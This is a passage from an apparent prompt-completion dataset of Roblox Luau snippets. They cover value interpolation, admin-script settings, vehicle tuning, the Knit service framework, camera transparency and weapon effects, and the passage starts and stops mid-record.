from.Elasticity) * ratio + from.Elasticity,\n\t\t\t\t(to.FrictionWeight - from.FrictionWeight) * ratio + from.FrictionWeight,\n\t\t\t\t(to.ElasticityWeight - from.ElasticityWeight) * ratio + from.ElasticityWeight\n\t\t\t)\n\n\t\telseif typeString == \"Ray\" then\n\t\t\tlocal to, from = to :: Ray, from :: Ray\n\t\t\treturn Ray.new(\n\t\t\t\tfrom.Origin:Lerp(to.Origin, ratio),\n\t\t\t\tfrom.Direction:Lerp(to.Direction, ratio)\n\t\t\t)\n\n\t\telseif typeString == \"Rect\" then\n\t\t\tlocal to, from = to :: Rect, from :: Rect\n\t\t\treturn Rect.new(\n\t\t\t\tfrom.Min:Lerp(to.Min, ratio),\n\t\t\t\tfrom.Max:Lerp(to.Max, ratio)\n\t\t\t)\n\n\t\telseif typeString == \"Region3\" then\n\t\t\tlocal to, from = to :: Region3, from :: Region3\n\t\t\t-- FUTURE: support rotated Region3s if/when they become constructable\n\t\t\tlocal position = from.CFrame.Position:Lerp(to.CFrame.Position, ratio)\n\t\t\tlocal halfSize = from.Size:Lerp(to.Size, ratio) / 2\n\t\t\treturn Region3.new(position - halfSize, position + halfSize)\n\n\t\telseif typeString == \"Region3int16\" then\n\t\t\tlocal to, from = to :: Region3int16, from :: Region3int16\n\t\t\treturn Region3int16.new(\n\t\t\t\tVector3int16.new(\n\t\t\t\t\t(to.Min.X - from.Min.X) * ratio + from.Min.X,\n\t\t\t\t\t(to.Min.Y - from.Min.Y) * ratio + from.Min.Y,\n\t\t\t\t\t(to.Min.Z - from.Min.Z) * ratio + from.Min.Z\n\t\t\t\t),\n\t\t\t\tVector3int16.new(\n\t\t\t\t\t(to.Max.X - from.Max.X) * ratio + from.Max.X,\n\t\t\t\t\t(to.Max.Y - from.Max.Y) * ratio + from.Max.Y,\n\t\t\t\t\t(to.Max.Z - from.Max.Z) * ratio + from.Max.Z\n\t\t\t\t)\n\t\t\t)\n\n\t\telseif typeString == \"UDim\" then\n\t\t\tlocal to, from = to :: UDim, from :: UDim\n\t\t\treturn UDim.new(\n\t\t\t\t(to.Scale - from.Scale) * ratio + from.Scale,\n\t\t\t\t(to.Offset - from.Offset) * ratio + from.Offset\n\t\t\t)\n\n\t\telseif typeString == \"UDim2\" then\n\t\t\tlocal to, from = to :: UDim2, from :: UDim2\n\t\t\treturn from:Lerp(to, ratio)\n\n\t\telseif typeString == \"Vector2\" then\n\t\t\tlocal to, from = to :: Vector2, from :: Vector2\n\t\t\treturn from:Lerp(to, ratio)\n\n\t\telseif typeString == \"Vector2int16\" then\n\t\t\tlocal to, from = to :: Vector2int16, from :: Vector2int16\n\t\t\treturn Vector2int16.new(\n\t\t\t\t(to.X - from.X) * ratio + from.X,\n\t\t\t\t(to.Y - from.Y) * ratio + from.Y\n\t\t\t)\n\n\t\telseif typeString == \"Vector3\" then\n\t\t\tlocal to, from = to :: Vector3, from :: Vector3\n\t\t\treturn from:Lerp(to, ratio)\n\n\t\telseif typeString == \"Vector3int16\" then\n\t\t\tlocal to, from = to :: Vector3int16, from :: Vector3int16\n\t\t\treturn Vector3int16.new(\n\t\t\t\t(to.X - from.X) * ratio + from.X,\n\t\t\t\t(to.Y - from.Y) * ratio + from.Y,\n\t\t\t\t(to.Z - from.Z) * ratio + from.Z\n\t\t\t)\n\t\tend\n\tend\n\n\t-- fallback case: the types are different or not animatable\n\tif ratio < 0.5 then\n\t\treturn from\n\telse\n\t\treturn to\n\tend\nend\n\nreturn lerpType\n"} +{"prompt": "-- Basic Settings", "completion": "\n\nAdminCredit=false;\t\t\t\t-- Enables the credit GUI for that appears in the bottom right\nAutoClean=false;\t\t\t\t-- Enables automatic cleaning of hats & tools in the Workspace\nAutoCleanDelay=60;\t\t\t\t-- The delay between each AutoClean routine\nCommandBar=true;\t\t\t\t-- Enables the Command Bar | GLOBAL KEYBIND: \\\nFunCommands=true;\t\t\t\t-- Enables fun yet unnecessary commands\nFreeAdmin=false;\t\t\t\t-- Set to 1-5 to grant admin powers to all, otherwise set to false\nPublicLogs=false;\t\t\t\t-- Allows all users to see the command & chat logs\nPrefix=':';\t\t\t\t\t\t-- Character to begin a command\n\t\t\t\t\t\t\t\t--[[\n\tAdmin Powers\n\t\n0\t\t\tPlayer\n1\t\t\tVIP\t\t\t\t\tCan use nonabusive commands only on self\n2\t\t\tModerator\t\t\tCan kick, mute, & use most commands\n3\t\t\tAdministrator\t\tCan ban, crash, & set Moderators/VIP\n4\t\t\tSuperAdmin\t\t\tCan grant permanent powers, & shutdown the game\n5\t\t\tOwner\t\t\t\tCan set SuperAdmins, & use all the commands\n6\t\t\tGame Creator\t\tCan set owners & use all the commands\n\n\tGroup & VIP Admin\n\t\n\t\tYou can set multiple Groups & Ranks to grant users admin powers:\n\t\t\nGroupAdmin={\n[12345]={[254]=4,[253]=3};\n[GROUPID]={[RANK]=ADMINPOWER}\n};\n\n\t\tYou can set multiple Assets to grant users admin powers:\n\t\t\nVIPAdmin={\n[12345]=3;\n[54321]=4;\n[ITEMID]=ADMINPOWER;\n};\t\t\t\t\t\t\t\t]]\n\nGroupAdmin={\n\n};\n\nVIPAdmin={\n\n};\n"} +{"prompt": "--[[\n\tFired when state is left\n]]", "completion": "\nfunction Transitions.onLeaveWarmup(stateMachine, event, from, to, playerComponent)\n\tPlayerWarmup.leave(stateMachine, playerComponent)\nend\n"} +{"prompt": "--[[\nAdorns a 3D model to a frame.\nReturns a Model3D object.\n--]]", "completion": "\nfunction Module3DRotating:Attach3D(Frame,Model)\n\t--Create the base 3D item.\n\tlocal Model3D = Module3D:Attach3D(Frame,Model)\n\tlocal BaseEnd = Model3D.End\n\tlocal Ended = false\n\t\n\t--Set the default field of view and depth multiplier.\n\tModel3D.Camera.FieldOfView = 10\n\tModel3D:SetDepthMultiplier(1.2)\n\t\n\t--Set the ZIndex.\n\tModel3D.AdornFrame.ZIndex = Frame.ZIndex\n\tlocal ZIndexEvent = Frame:GetPropertyChangedSignal(\"ZIndex\"):Connect(function()\n\t\tModel3D.AdornFrame.ZIndex = Frame.ZIndex\n\tend)\n\t\n\t--Set up the rotation.\n\tlocal UpwardRotation = CFrame.Angles(-ROTATION_UP,0,0)\n\tspawn(function()\n\t\twhile not Ended do\n\t\t\tModel3D:SetCFrame(CFrame.Angles(0,(tick() * ROTATION_SPEED_MULTIPLIER) % (math.pi * 2),0) * UpwardRotation)\n\t\t\tRunService.Stepped:Wait()\n\t\tend\n\tend)\n\tModel3D:SetCFrame(CFrame.Angles(0,(tick() * ROTATION_SPEED_MULTIPLIER) % (math.pi * 2),0) * UpwardRotation)\n\t\n\t--[[\n\tDestroys the frame and unparents the model.\n\t--]]\n\tfunction Model3D:End()\n\t\tif not Ended then\n\t\t\tEnded = true\n\t\t\tZIndexEvent:Disconnect()\n\t\t\t\n\t\t\tBaseEnd(self)\n\t\tend\n\tend\n\t\n\t--Return the 3D item.\n\treturn Model3D\nend\n\nreturn Module3DRotating\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"RWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 0\t\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 100\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 0\t\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 1\t\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 0\t\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= false\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "--[[\n\n\tKnit.CreateService(service): Service\n\tKnit.AddServices(folder): Service[]\n\tKnit.AddServicesDeep(folder): Service[]\n\tKnit.Start(): Promise\n\tKnit.OnStart(): Promise\n\n--]]", "completion": "\n\n\nlocal KnitServer = {}\n\nKnitServer.Version = script.Parent.Version.Value\nKnitServer.Services = {}\nKnitServer.Util = script.Parent.Util\n\n\nlocal knitRepServiceFolder = Instance.new(\"Folder\")\nknitRepServiceFolder.Name = \"Services\"\n\nlocal Promise = require(KnitServer.Util.Promise)\nlocal Thread = require(KnitServer.Util.Thread)\nlocal Signal = require(KnitServer.Util.Signal)\nlocal Loader = require(KnitServer.Util.Loader)\nlocal Ser = require(KnitServer.Util.Ser)\nlocal RemoteSignal = require(KnitServer.Util.Remote.RemoteSignal)\nlocal RemoteProperty = require(KnitServer.Util.Remote.RemoteProperty)\nlocal TableUtil = require(KnitServer.Util.TableUtil)\n\nlocal started = false\nlocal startedComplete = false\nlocal onStartedComplete = Instance.new(\"BindableEvent\")\n\n\nlocal function CreateRepFolder(serviceName)\n\tlocal folder = Instance.new(\"Folder\")\n\tfolder.Name = serviceName\n\treturn folder\nend\n\n\nlocal function GetFolderOrCreate(parent, name)\n\tlocal f = parent:FindFirstChild(name)\n\tif (not f) then\n\t\tf = Instance.new(\"Folder\")\n\t\tf.Name = name\n\t\tf.Parent = parent\n\tend\n\treturn f\nend\n\n\nlocal function AddToRepFolder(service, remoteObj, folderOverride)\n\tif (folderOverride) then\n\t\tremoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, folderOverride)\n\telseif (remoteObj:IsA(\"RemoteFunction\")) then\n\t\tremoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, \"RF\")\n\telseif (remoteObj:IsA(\"RemoteEvent\")) then\n\t\tremoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, \"RE\")\n\telseif (remoteObj:IsA(\"ValueBase\")) then\n\t\tremoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, \"RP\")\n\telse\n\t\terror(\"Invalid rep object: \" .. remoteObj.ClassName)\n\tend\n\tif (not service._knit_rep_folder.Parent) then\n\t\tservice._knit_rep_folder.Parent = knitRepServiceFolder\n\tend\nend\n\n\nfunction KnitServer.IsService(object)\n\treturn type(object) == \"table\" and object._knit_is_service == true\nend\n\n\nfunction KnitServer.CreateService(service)\n\tassert(type(service) == \"table\", \"Service must be a table; got \" .. type(service))\n\tassert(type(service.Name) == \"string\", \"Service.Name must be a string; got \" .. type(service.Name))\n\tassert(#service.Name > 0, \"Service.Name must be a non-empty string\")\n\tassert(KnitServer.Services[service.Name] == nil, \"Service \\\"\" .. service.Name .. \"\\\" already exists\")\n\tTableUtil.Extend(service, {\n\t\t_knit_is_service = true;\n\t\t_knit_rf = {};\n\t\t_knit_re = {};\n\t\t_knit_rp = {};\n\t\t_knit_rep_folder = CreateRepFolder(service.Name);\n\t})\n\tif (type(service.Client) ~= \"table\") then\n\t\tservice.Client = {Server = service}\n\telse\n\t\tif (service.Client.Server ~= service) then\n\t\t\tservice.Client.Server = service\n\t\tend\n\tend\n\tKnitServer.Services[service.Name] = service\n\treturn service\nend\n\n\nfunction KnitServer.AddServices(folder)\n\treturn Loader.LoadChildren(folder)\nend\n\n\nfunction KnitServer.AddServicesDeep(folder)\n\treturn Loader.LoadDescendants(folder)\nend\n\n\nfunction KnitServer.BindRemoteEvent(service, eventName, remoteEvent)\n\tassert(service._knit_re[eventName] == nil, \"RemoteEvent \\\"\" .. eventName .. \"\\\" already exists\")\n\tlocal re = remoteEvent._remote\n\tre.Name = eventName\n\tservice._knit_re[eventName] = re\n\tAddToRepFolder(service, re)\nend\n\n\nfunction KnitServer.BindRemoteFunction(service, funcName, func)\n\tassert(service._knit_rf[funcName] == nil, \"RemoteFunction \\\"\" .. funcName .. \"\\\" already exists\")\n\tlocal rf = Instance.new(\"RemoteFunction\")\n\trf.Name = funcName\n\tservice._knit_rf[funcName] = rf\n\tAddToRepFolder(service, rf)\n\tfunction rf.OnServerInvoke(...)\n\t\treturn Ser.SerializeArgsAndUnpack(func(service.Client, Ser.DeserializeArgsAndUnpack(...)))\n\tend\nend\n\n\nfunction KnitServer.BindRemoteProperty(service, propName, prop)\n\tassert(service._knit_rp[propName] == nil, \"RemoteProperty \\\"\" .. propName .. \"\\\" already exists\")\n\tprop._object.Name = propName\n\tservice._knit_rp[propName] = prop\n\tAddToRepFolder(service, prop._object, \"RP\")\nend\n\n\nfunction KnitServer.Start()\n\t\n\tif (started) then\n\t\treturn Promise.Reject(\"Knit already started\")\n\tend\n\n\tstarted = true\n\t\n\tlocal services = KnitServer.Services\n\t\n\treturn Promise.new(function(resolve)\n\t\t\n\t\t-- Bind remotes:\n\t\tfor _,service in pairs(services) do\n\t\t\tfor k,v in pairs(service.Client) do\n\t\t\t\tif (type(v) == \"function\") then\n\t\t\t\t\tKnitServer.BindRemoteFunction(service, k, v)\n\t\t\t\telseif (RemoteSignal.Is(v)) then\n\t\t\t\t\tKnitServer.BindRemoteEvent(service, k, v)\n\t\t\t\telseif (RemoteProperty.Is(v)) then\n\t\t\t\t\tKnitServer.BindRemoteProperty(service, k, v)\n\t\t\t\telseif (Signal.Is(v)) then\n\t\t\t\t\twarn(\"Found Signal instead of RemoteSignal (Knit.Util.RemoteSignal). Please change to RemoteSignal. [\" .. service.Name .. \".Client.\" .. k .. \"]\")\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\t-- Init:\n\t\tlocal promisesInitServices = {}\n\t\tfor _,service in pairs(services) do\n\t\t\tif (type(service.KnitInit) == \"function\") then\n\t\t\t\ttable.insert(promisesInitServices, Promise.new(function(r)\n\t\t\t\t\tservice:KnitInit()\n\t\t\t\t\tr()\n\t\t\t\tend))\n\t\t\tend\n\t\tend\n\t\t\n\t\tresolve(Promise.All(promisesInitServices))\n\n\tend):Then(function()\n\t\t\n\t\t-- Start:\n\t\tfor _,service in pairs(services) do\n\t\t\tif (type(service.KnitStart) == \"function\") then\n\t\t\t\tThread.SpawnNow(service.KnitStart, service)\n\t\t\tend\n\t\tend\n\t\t\n\t\tstartedComplete = true\n\t\tonStartedComplete:Fire()\n\n\t\tThread.Spawn(function()\n\t\t\tonStartedComplete:Destroy()\n\t\tend)\n\n\t\t-- Expose service remotes to everyone:\n\t\tknitRepServiceFolder.Parent = script.Parent\n\t\t\n\tend)\n\t\nend\n\n\nfunction KnitServer.OnStart()\n\tif (startedComplete) then\n\t\treturn Promise.Resolve()\n\telse\n\t\treturn Promise.new(function(resolve)\n\t\t\tif (startedComplete) then\n\t\t\t\tresolve()\n\t\t\t\treturn\n\t\t\tend\n\t\t\tonStartedComplete.Event:Wait()\n\t\t\tresolve()\n\t\tend)\n\tend\nend\n\n\nreturn KnitServer\n"} +{"prompt": "-- Don't mess with anything in the script. The constants and variables are all mixed together", "completion": "\n\nlocal Type = 1\t\t-- Manipulated by GUI\t(0 = 12 hr, 1 = 24 hr)\nlocal Sec = true\t-- Manipulated by GUI\n\nlocal year = 1970\nlocal month = 1\nlocal day = 1\nlocal Date = \"January 1, 1970\"\n\nlocal hour = 0\nlocal min = 0\nlocal sec = 0\nlocal tag = \"AM\"\nlocal Time = \"12:00 AM\"\n\nfunction getDate()\n\tlocal months = {"} +{"prompt": "-- Make variables for player, character, and camera", "completion": "\nlocal player = game.Players.LocalPlayer\nwhile not player.Character do wait() end\nlocal character = player.Character\nlocal camera = game.Workspace.CurrentCamera\n \n\n\n "} +{"prompt": "--FUNCTIONS", "completion": "\n\nlocal function getJointBetween(part0, part1)\n\tfor _, obj in pairs(part1:GetChildren()) do\n\t\tif obj:IsA(\"Motor6D\") and obj.Part0 == part0 then\n\t\t\treturn obj\n\t\tend\n\tend\n\tfor _, obj in pairs(part0:GetChildren()) do\n\t\tif obj:IsA(\"Motor6D\") and obj.Part1 == part1 then\n\t\t\treturn obj\n\t\tend\n\tend\nend\n\nfunction UpdatePositions()\n\t\n\tlocal targetKF = keyframeList[KFNumber]\n\t\n\tlocal function RecursivelyUpdatePositions(parentPose, poseObject)\n\t\tif parentPose then\n\t\t\tlocal FoundParent = rig:FindFirstChild(parentPose.Name, true)\n\t\t\tlocal FoundPoseObject = rig:FindFirstChild(poseObject.Name, true)\n\t\t\tif FoundParent and FoundPoseObject then\n\t\t\t\tlocal joint = getJointBetween(FoundParent, FoundPoseObject)\n\t\t\t\tif joint then\n\t\t\t\t\t\n\t\t\t\t\t--A keyframe Joint was found, proceed with schedulation\n\t\t\t\t\tlastPositions[joint] = joint.Transform\n\t\t\t\t\tdesiredPositions[joint] = poseObject.CFrame\n\t\t\t\t\t--\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tfor _, subPose in pairs(poseObject:GetSubPoses()) do\n\t\t\tRecursivelyUpdatePositions(poseObject, subPose)\n\t\tend\n\t\t\n\tend\n\t\n\ttimeNeeded = targetKF.Time\n\t\n\tfor _, poseObj in pairs(targetKF:GetPoses()) do\n\t\tRecursivelyUpdatePositions(nil, poseObj)\n\tend\n\t\nend\n\nfunction ResetJoints()\n\tfor i, v in pairs(basePositions) do\n\t\ti.Transform = CFrame.new()\n\tend\nend"} +{"prompt": "--[[\n\tUtility function to log a Fusion-specific error.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal Types = require(Package.Types)\nlocal messages = require(Package.Logging.messages)\n\nlocal function logError(messageID: string, errObj: Types.Error?, ...)\n\tlocal formatString: string\n\n\tif messages[messageID] ~= nil then\n\t\tformatString = messages[messageID]\n\telse\n\t\tmessageID = \"unknownMessage\"\n\t\tformatString = messages[messageID]\n\tend\n\n\tlocal errorString\n\tif errObj == nil then\n\t\terrorString = string.format(\"[Fusion] \" .. formatString .. \"\\n(ID: \" .. messageID .. \")\", ...)\n\telse\n\t\tformatString = formatString:gsub(\"ERROR_MESSAGE\", errObj.message)\n\t\terrorString = string.format(\"[Fusion] \" .. formatString .. \"\\n(ID: \" .. messageID .. \")\\n---- Stack trace ----\\n\" .. errObj.trace, ...)\n\tend\n\n\terror(errorString:gsub(\"\\n\", \"\\n \"), 0)\nend\n\nreturn logError\n"} +{"prompt": "--//Setup//--", "completion": "\nlocal Holder = script.Parent\n\nlocal DamageEvent = game.ReplicatedStorage:WaitForChild(\"DamageEvent\")\n\nlocal Display = Holder.DisplayBar\nlocal Status = Holder.Status\n\nlocal Settings = {\n\t\n}\n"} +{"prompt": "--// Holstering", "completion": "\n\tHolsteringEnabled = false;\n\tHolsterPos = CFrame.new(0.340751064, 0.1, 0.616261482, -4.10752676e-08, -0.342020065, 0.939692616, -1.49501727e-08, 0.939692557, 0.342020094, -0.99999994, 0, -4.37113847e-08);\n"} +{"prompt": "-- Want to turn off Invisicam? Be sure to call this after.", "completion": "\nfunction Invisicam:Cleanup()\n\tfor hit, originalFade in pairs(self.savedHits) do\n\t\thit.LocalTransparencyModifier = originalFade\n\tend\nend\n\nfunction Invisicam:Update(dt, desiredCameraCFrame, desiredCameraFocus)\n\t-- Bail if there is no Character\n\tif not self.enabled or not self.char then\n\t\treturn desiredCameraCFrame, desiredCameraFocus\n\tend\n\n\tself.camera = game.Workspace.CurrentCamera\n\n\t-- TODO: Move this to a GetHumanoidRootPart helper, probably combine with CheckTorsoReference\n\t-- Make sure we still have a HumanoidRootPart\n\tif not self.humanoidRootPart then\n\t\tlocal humanoid = self.char:FindFirstChildOfClass(\"Humanoid\")\n\t\tif humanoid and humanoid.RootPart then\n\t\t\tself.humanoidRootPart = humanoid.RootPart\n\t\telse\n\t\t\t-- Not set up with Humanoid? Try and see if there's one in the Character at all:\n\t\t\tself.humanoidRootPart = self.char:FindFirstChild(\"HumanoidRootPart\")\n\t\t\tif not self.humanoidRootPart then\n\t\t\t\t-- Bail out, since we're relying on HumanoidRootPart existing\n\t\t\t\treturn desiredCameraCFrame, desiredCameraFocus\n\t\t\tend\n\t\tend\n\n\t\t-- TODO: Replace this with something more sensible\n\t\tlocal ancestryChangedConn\n\t\tancestryChangedConn = self.humanoidRootPart.AncestryChanged:Connect(function(child, parent)\n\t\t\tif child == self.humanoidRootPart and not parent then \n\t\t\t\tself.humanoidRootPart = nil\n\t\t\t\tif ancestryChangedConn and ancestryChangedConn.Connected then\n\t\t\t\t\tancestryChangedConn:Disconnect()\n\t\t\t\t\tancestryChangedConn = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\n\n\tif not self.torsoPart then\n\t\tself:CheckTorsoReference()\n\t\tif not self.torsoPart then\n\t\t\t-- Bail out, since we're relying on Torso existing, should never happen since we fall back to using HumanoidRootPart as torso\n\t\t\treturn desiredCameraCFrame, desiredCameraFocus\n\t\tend\n\tend\n\n\t-- Make a list of world points to raycast to\n\tlocal castPoints = {}\n\tself.behaviorFunction(self, castPoints)\n\n\t-- Cast to get a list of objects between the camera and the cast points\n\tlocal currentHits = {}\n\tlocal ignoreList = {self.char}\n\tlocal function add(hit)\n\t\tcurrentHits[hit] = true\n\t\tif not self.savedHits[hit] then\n\t\t\tself.savedHits[hit] = hit.LocalTransparencyModifier\n\t\tend\n\tend\n\n\tlocal hitParts\n\tlocal hitPartCount = 0\n\n\t-- Hash table to treat head-ray-hit parts differently than the rest of the hit parts hit by other rays\n\t-- head/torso ray hit parts will be more transparent than peripheral parts when USE_STACKING_TRANSPARENCY is enabled\n\tlocal headTorsoRayHitParts = {}\n\n\tlocal perPartTransparencyHeadTorsoHits = TARGET_TRANSPARENCY\n\tlocal perPartTransparencyOtherHits = TARGET_TRANSPARENCY\n\n\tif USE_STACKING_TRANSPARENCY then\n\n\t\t-- This first call uses head and torso rays to find out how many parts are stacked up\n\t\t-- for the purpose of calculating required per-part transparency\n\t\tlocal headPoint = self.headPart and self.headPart.CFrame.p or castPoints[1]\n\t\tlocal torsoPoint = self.torsoPart and self.torsoPart.CFrame.p or castPoints[2]\n\t\thitParts = self.camera:GetPartsObscuringTarget({headPoint, torsoPoint}, ignoreList)\n\n\t\t-- Count how many things the sample rays passed through, including decals. This should only\n\t\t-- count decals facing the camera, but GetPartsObscuringTarget does not return surface normals,\n\t\t-- so my compromise for now is to just let any decal increase the part count by 1. Only one\n\t\t-- decal per part will be considered.\n\t\tfor i = 1, #hitParts do\n\t\t\tlocal hitPart = hitParts[i]\n\t\t\thitPartCount = hitPartCount + 1 -- count the part itself\n\t\t\theadTorsoRayHitParts[hitPart] = true\n\t\t\tfor _, child in pairs(hitPart:GetChildren()) do\n\t\t\t\tif child:IsA('Decal') or child:IsA('Texture') then\n\t\t\t\t\thitPartCount = hitPartCount + 1 -- count first decal hit, then break\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif (hitPartCount > 0) then\n\t\t\tperPartTransparencyHeadTorsoHits = math.pow( ((0.5 * TARGET_TRANSPARENCY) + (0.5 * TARGET_TRANSPARENCY / hitPartCount)), 1 / hitPartCount )\n\t\t\tperPartTransparencyOtherHits = math.pow( ((0.5 * TARGET_TRANSPARENCY_PERIPHERAL) + (0.5 * TARGET_TRANSPARENCY_PERIPHERAL / hitPartCount)), 1 / hitPartCount )\n\t\tend\n\tend\n\n\t-- Now get all the parts hit by all the rays\n\thitParts = self.camera:GetPartsObscuringTarget(castPoints, ignoreList)\n\n\tlocal partTargetTransparency = {}\n\n\t-- Include decals and textures\n\tfor i = 1, #hitParts do\n\t\tlocal hitPart = hitParts[i]\n\n\t\tpartTargetTransparency[hitPart] =headTorsoRayHitParts[hitPart] and perPartTransparencyHeadTorsoHits or perPartTransparencyOtherHits\n\n\t\t-- If the part is not already as transparent or more transparent than what invisicam requires, add it to the list of\n\t\t-- parts to be modified by invisicam\n\t\tif hitPart.Transparency < partTargetTransparency[hitPart] then\n\t\t\tadd(hitPart)\n\t\tend\n\n\t\t-- Check all decals and textures on the part\n\t\tfor _, child in pairs(hitPart:GetChildren()) do\n\t\t\tif child:IsA('Decal') or child:IsA('Texture') then\n\t\t\t\tif (child.Transparency < partTargetTransparency[hitPart]) then\n\t\t\t\t\tpartTargetTransparency[child] = partTargetTransparency[hitPart]\n\t\t\t\t\tadd(child)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\t-- Invisibilize objects that are in the way, restore those that aren't anymore\n\tfor hitPart, originalLTM in pairs(self.savedHits) do\n\t\tif currentHits[hitPart] then\n\t\t\t-- LocalTransparencyModifier gets whatever value is required to print the part's total transparency to equal perPartTransparency\n\t\t\thitPart.LocalTransparencyModifier = (hitPart.Transparency < 1) and ((partTargetTransparency[hitPart] - hitPart.Transparency) / (1.0 - hitPart.Transparency)) or 0\n\t\telse -- Restore original pre-invisicam value of LTM\n\t\t\thitPart.LocalTransparencyModifier = originalLTM\n\t\t\tself.savedHits[hitPart] = nil\n\t\tend\n\tend\n\n\t-- Invisicam does not change the camera values\n\treturn desiredCameraCFrame, desiredCameraFocus\nend\n\nreturn Invisicam\n"} +{"prompt": "--- Returns Maid[key] if not part of Maid metatable\n-- @return Maid[key] value", "completion": "\nfunction Maid:__index(index)\n\tif (Maid[index]) then\n\t\treturn Maid[index]\n\telse\n\t\treturn self._tasks[index]\n\tend\nend\n\n"} +{"prompt": "---[[ Font Settings ]]", "completion": "\nmodule.DefaultFont = Enum.Font.Cartoon\nmodule.ChatBarFont = Enum.Font.Cartoon\n"} +{"prompt": "-- Remote Events", "completion": "\n\t--Client -> Server\n\tlocal RE_replicateProjectile = remoteEvents.Client.ReplicateProjectile\n\tlocal RE_tempSaveProfile = remoteEvents.Client.ForceSaveTemp\n\n\t--Server -> Client\n\t\n\t"} +{"prompt": "--[[\n\tReturns a snapshot of this component given the current props and state. Must\n\tbe overridden by consumers of Roact and should be a pure function with\n\tregards to props and state.\n\n\tTODO (#199): Accept props and state as arguments.\n]]", "completion": "\nfunction Component:render()\n\tlocal internalData = self[InternalData]\n\n\tlocal message = componentMissingRenderMessage:format(tostring(internalData.componentClass))\n\n\terror(message, 0)\nend\n"} +{"prompt": "--bullet data", "completion": "\nlocal settingsfolder = tool:WaitForChild(\"settings\")\nlocal bchambered = settingsfolder:WaitForChild(\"bchambered\")\nlocal binmag = settingsfolder:WaitForChild(\"inmag\")\nlocal gunspeed = settingsfolder:WaitForChild(\"speed\")\nlocal magleft = settingsfolder:WaitForChild(\"magleft\")\nlocal bspeed = settingsfolder:WaitForChild(\"bspeed\")\nlocal maxpen = settingsfolder:WaitForChild(\"maxwpenetration\")\nlocal maxmagcap = settingsfolder:WaitForChild(\"maxmagcapacity\")\nlocal bulletholetime = 10\nlocal shellflytime = 0.5\nlocal shellfallspeed = 80\n"} +{"prompt": "----------------------------------------------------------------------\n--------------------[ TRAIL HANDLING ]--------------------------------\n----------------------------------------------------------------------", "completion": "\n\nlocal createTrail = script:WaitForChild(\"createTrail\")\ncreateTrail.OnServerEvent:connect(function(_, Origin, P, gunIgnore, S)\n\tlocal Trail = Instance.new(\"Part\")\n\tTrail.BrickColor = S.trailSettings.Color\n\tTrail.Transparency = S.trailSettings.Transparency\n\tTrail.Anchored = true\n\tTrail.CanCollide = false\n\tTrail.Size = V3(1, 1, 1)\n\tlocal Mesh = Instance.new(\"CylinderMesh\")\n\tMesh.Offset = V3(0, -(P - Origin).magnitude / 2, 0)\n\tMesh.Scale = V3(S.trailSettings.Thickness, (P - Origin).magnitude, S.trailSettings.Thickness)\n\tMesh.Parent = Trail\n\tTrail.Parent = gunIgnore\n\tTrail.CFrame = CF(Origin, P) * CFANG(RAD(90), 0, 0)\n\tdelay(S.trailSettings.visibleTime, function()\n\t\tif S.trailSettings.disappearTime > 0 then\n\t\t\tlocal t0 = tick()\n\t\t\twhile true do\n\t\t\t\tlocal Alpha = math.min((tick() - t0) / S.trailSettings.disappearTime, 1)\n\t\t\t\tTrail.Transparency = numLerp(S.trailSettings.Transparency, 1, Alpha)\n\t\t\t\tif Alpha == 1 then break end\n\t\t\t\twait()\n\t\t\tend\n\t\t\tTrail:Destroy()\n\t\telse\n\t\t\tTrail:Destroy()\n\t\tend\n\tend)\nend)\n"} +{"prompt": "--[[Shutdown]]", "completion": "\n\n\tcar.DriveSeat.ChildRemoved:connect(function(child) if child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then script.Parent:Destroy() end end)\n\n\n"} +{"prompt": "--[[local u1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\n\nwhile not u1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\n\n\nreturn function(p1, p2, p3, p4)\n\t--print(p1, p2, p3, p4)\n\tlocal v2 = p1:FindFirstChildOfClass(\"UIGridLayout\");\n\tlocal l__isGolden__3 = u1.Directory.Eggs[p3].isGolden;\n\t--local v4, v5, v6 = ipairs(p4);\n\tfor v5, v6 in ipairs(p4) do\n\t\tlocal v7, v8 = v5, v6\n\t\tif not v7 then\n\t\t\tbreak;\n\t\tend;\n\t\tlocal v9 = u1.Directory.Pets[tostring(v8[1])];\n\t\tlocal l__rarity__10 = v9.rarity;\n\t\tlocal v11 = u1.Assets.UI.EggInfo.Pet:Clone();\n\t\tlocal v12 = (function()\n\t\t\tlocal v13 = 0;\n\t\t\tfor v14, v15 in ipairs(p4) do\n\t\t\t\tv13 = v13 + v15[2];\n\t\t\tend;\n\t\t\treturn v8[2] / v13 * 100;\n\t\tend)();\n\t\tv11.Thumbnail.Image = l__isGolden__3 and v9.goldenThumbnail or v9.thumbnail;\n\t\tv11.LayoutOrder = 9999 - v12;\n\t\t--local v16, v17, v18 = 